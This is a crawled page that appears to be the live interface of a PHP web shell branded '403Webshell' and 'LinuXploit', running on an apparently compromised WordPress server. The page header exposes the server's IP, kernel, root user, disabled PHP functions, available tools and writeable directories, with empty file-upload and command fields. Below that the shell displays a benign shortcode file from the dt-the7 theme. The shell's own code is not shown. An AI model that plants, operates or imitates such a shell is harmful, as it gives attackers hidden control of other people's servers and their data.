403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.216.74
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.12/wp-content/themes/dt-the7/inc/shortcodes/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.12/wp-content/themes/dt-the7/inc/shortcodes/includes/puny-shortcodes-functions.php
<?php

// File Security Check
if ( ! defined( 'ABSPATH' ) ) { exit; }

require_once trailingslashit( dirname(__FILE__) ) . 'puny-shortcodes.class.php';

if ( ! function_exists( 'presscore_add_puny_shortcode' ) ) :

	function presscore_add_puny_shortcode( $tag, $function ) {
		add_shortcode( $tag, $function );
		Presscore_Puny_Shortcodes::add_puny_shortcode( $tag, $function );
	}

endif;

if ( ! function_exists( 'presscore_get_puny_shortcodes' ) ) :

	function presscore_get_puny_shortcodes() {
		return apply_filters( 'dt_get_puny_shortcodes', Presscore_Puny_Shortcodes::get_puny_shortcodes() );
	}

endif;

if ( ! function_exists( 'presscore_remove_puny_effect_for_vc_inline_editor' ) ) :

	add_action( 'dt_get_puny_shortcodes', 'presscore_remove_puny_effect_for_vc_inline_editor', 90 );

	function presscore_remove_puny_effect_for_vc_inline_editor( $puny_shortcodes = array() ) {
		if ( function_exists('vc_is_inline') && vc_is_inline() ) {
			return array();
		}
		return $puny_shortcodes;
	}

endif;

if ( ! function_exists( 'presscore_add_compat_puny_shortcodes' ) ) :

	add_filter( 'dt_get_puny_shortcodes', 'presscore_add_compat_puny_shortcodes' );

	function presscore_add_compat_puny_shortcodes( $puny_shortcodes = array() ) {

		$puny_shortcodes['dt_code'] = array( DT_Shortcode_Code::get_instance(), 'shortcode_prepare' );
		return $puny_shortcodes;
	}

endif;

if ( ! function_exists( 'presscore_run_puny_shortcodes' ) ) :

	add_filter( 'the_content', 'presscore_run_puny_shortcodes', 7 );

	// some new stuff from https://gist.github.com/bitfade/4555047

	/**
	 * Actual processing of the shortcode happens here.
	 */
	function presscore_run_puny_shortcodes( $content ) {
		global $shortcode_tags;

		$puny_shortcodes = presscore_get_puny_shortcodes();

		if ( is_array( $puny_shortcodes ) && count( $puny_shortcodes ) > 0 ) {

			// Backup current registered shortcodes and clear them all out
			$orig_shortcode_tags = $shortcode_tags;
			remove_all_shortcodes();

			foreach ( $puny_shortcodes as $shortcode=>$callback ) {
				add_shortcode( $shortcode, $callback );
			}

			// Do the shortcode (only the one above is registered)
			$content = do_shortcode( shortcode_unautop( $content ) );

			// Put the original shortcodes back
			$shortcode_tags = $orig_shortcode_tags;

		}

		return $content;
	}

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit